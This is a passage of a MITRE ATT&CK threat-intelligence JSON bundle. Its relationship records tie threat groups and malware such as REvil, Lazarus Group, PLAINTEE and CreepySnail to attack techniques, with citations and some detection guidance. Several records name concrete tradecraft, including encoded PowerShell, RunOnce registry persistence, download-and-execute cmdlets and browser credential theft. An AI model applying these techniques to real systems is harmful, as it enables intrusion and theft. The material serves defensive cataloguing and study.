14, 2020.","url":"https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T04:40:20.070Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has executed base64 encoded PowerShell scripts on compromised hosts.(Citation: Tetra Defense Sodinokibi March 2020)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba8145fd-61d3-4729-a7c8-96216d2e6078","type":"relationship","created":"2021-01-14T20:08:49.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T20:08:49.564Z","description":"[BlackMould](https://attack.mitre.org/software/S0564) has the ability to download files to the victim's machine.(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba84c2c2-e5bf-432e-9827-6d622490ba2d","type":"relationship","created":"2020-03-17T14:46:40.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2020-03-17T14:46:40.015Z","description":"[Machete](https://attack.mitre.org/groups/G0095) has has relied on users opening malicious links delivered through spearphishing to execute malware.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba8900d2-1a18-4f44-916d-08b93dc74d9c","type":"relationship","created":"2019-01-29T17:59:44.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2020-03-28T20:20:36.031Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) has a command to delete a file. It also can uninstall scripts and delete files to cover its track.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba9380c1-1d2e-4161-8c46-9fc9f793cbd3","created":"2022-12-12T15:54:12.610Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-12T15:54:12.610Z","description":"[KEYPLUG](https://attack.mitre.org/software/S1051) can use TLS-encrypted WebSocket Protocol (WSS) for C2.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ba93bce7-7214-45e9-9deb-4fefb5038aab","created":"2022-02-02T21:05:49.064Z","x_mitre_version":"1.0","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) has a module to collect usernames and passwords stored in browsers.(Citation: BiZone Lizar May 2021)","modified":"2022-04-05T17:31:49.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba97fa9c-949b-4e86-b537-e828b602e39f","created":"2021-06-07T13:41:57.699Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AR21-126A FIVEHANDS May 2021","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"},{"source_name":"NCC Group Fivehands June 2021","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021.","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/"},{"source_name":"FireEye FiveHands April 2021","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:33:18.469Z","description":"The [FIVEHANDS](https://attack.mitre.org/software/S0618) payload is encrypted with AES-128.(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)(Citation: NCC Group Fivehands June 2021)","relationship_type":"uses","source_ref":"malware--f464354c-7103-47c6-969b-8766f0157ed2","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba9b20fb-04a8-403b-9549-c13a9bb2603c","created":"2022-02-01T16:00:17.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google TAG Lazarus Jan 2021","description":"Weidemann, A. (2021, January 25). New campaign targeting security researchers. Retrieved December 20, 2021.","url":"https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T16:26:03.192Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used social media platforms, including LinkedIn and Twitter, to send spearphishing messages.(Citation: Google TAG Lazarus Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba9e2373-6f74-4737-88e9-bfac0030431e","created":"2024-02-12T20:03:17.955Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:03:17.955Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) can deploy payloads capable of capturing credentials related to cryptocurrency wallets.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--baa39a74-fd81-4e25-9e5e-a8b95147bdd5","created":"2023-09-12T18:02:25.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"},{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T19:16:19.120Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used spearphishing e-mails with malicious links to deliver malware. (Citation: Proofpoint TA2541 February 2022)(Citation: Telefonica Snip3 December 2021)\n","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--baa60d8d-eff3-45d5-863a-b87ce3c7b468","created":"2022-07-11T20:35:27.971Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason Cobalt Kitty 2017","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to delete emails used for C2 once the content has been copied.(Citation: Cybereason Cobalt Kitty 2017)","modified":"2022-07-11T20:35:27.971Z","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baa9bb45-b4d2-4eea-803f-d2d1126330d4","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2019-09-09T19:12:32.990Z","description":"(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--baaa2de3-d6eb-48eb-a209-f08b9cbafb62","created":"2024-09-25T13:46:50.695Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:46:50.695Z","description":"Monitor for common proxyware software process names that may indicate compromise and resource usage. ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--baaa6228-daa9-45e9-884e-42add3851843","created":"2023-04-10T22:26:51.317Z","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T22:26:51.317Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has checked for network connectivity from a compromised host using `ping`, including attempts to contact `google[.]com`.(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baabf444-1748-472f-b991-7a5b25e4e1bb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Reg","description":"Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.","url":"https://technet.microsoft.com/en-us/library/cc732643.aspx"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Reg](https://attack.mitre.org/software/S0075) may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface.(Citation: Microsoft Reg)","relationship_type":"uses","source_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bab08287-699f-438d-aa69-f72cbac37ba3","type":"relationship","created":"2020-01-14T17:24:47.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T17:24:47.560Z","relationship_type":"revoked-by","source_ref":"attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bab233b8-640c-4a8b-90fa-d5b959adefbb","created":"2020-11-06T18:40:38.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Global Threat Report Feb 2018","description":"CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.","url":"https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"},{"source_name":"TrendMicro Cobalt Group Nov 2017","description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"},{"source_name":"RiskIQ Cobalt Nov 2017","description":"Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.","url":"https://web.archive.org/web/20190508170630/https://www.riskiq.com/blog/labs/cobalt-strike/"},{"source_name":"RiskIQ Cobalt Jan 2018","description":"Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.","url":"https://web.archive.org/web/20190508170147/https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/"},{"source_name":"Group IB Cobalt Aug 2017","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","url":"https://www.group-ib.com/blog/cobalt"},{"source_name":"Proofpoint Cobalt June 2017","description":"Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target"},{"source_name":"PTSecurity Cobalt Group Aug 2017","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"},{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:06:11.745Z","description":"(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018)(Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: TrendMicro Cobalt Group Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bab689ff-c89e-452f-bca6-a01078ae406e","type":"relationship","created":"2020-01-24T17:07:20.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T17:07:20.018Z","relationship_type":"revoked-by","source_ref":"attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bab6aadc-7a93-43e4-88cb-904fd1f2fddd","created":"2017-05-31T21:33:27.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"District Court of NY APT10 Indictment December 2018","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020.","url":"https://www.justice.gov/opa/page/file/1122671/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.638Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: District Court of NY APT10 Indictment December 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bab712d9-69d6-49d0-b063-8f957f3ea222","type":"relationship","created":"2020-08-04T20:12:10.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."}],"modified":"2020-08-04T20:12:10.732Z","description":"[REvil](https://attack.mitre.org/software/S0496) can obtain the token from the user that launched the explorer.exe process to avoid affecting the desktop of the SYSTEM user.(Citation: McAfee Sodinokibi October 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--babaa2be-7c41-490a-bd0b-2cf140858244","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-04-25T02:48:47.499Z","description":"[SslMM](https://attack.mitre.org/software/S0058) identifies and kills anti-malware processes.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bac1d1a4-14f7-4f68-8035-e322e94f92c9","created":"2021-12-06T15:43:24.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-01T02:46:24.205Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used SMB for C2.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baca2e38-a6fa-430e-a829-7afc5537e45f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-19T19:52:53.305Z","description":"[PLAINTEE](https://attack.mitre.org/software/S0254) gains persistence by adding the Registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bacf9dbb-7f22-4c72-8880-c6fc9fcf01ad","created":"2022-07-08T14:13:06.474Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepySnail](https://attack.mitre.org/software/S1024) can use PowerShell for execution, including the cmdlets `Invoke-WebRequst` and `Invoke-Expression`.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-08T20:22:44.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d23de441-f9cf-4802-b1ff-f588a11a896b","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bacfa3f2-7828-405d-bd20-dca0edb58513","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T21:48:43.456Z","description":"Monitor executed commands and arguments that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. For network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized 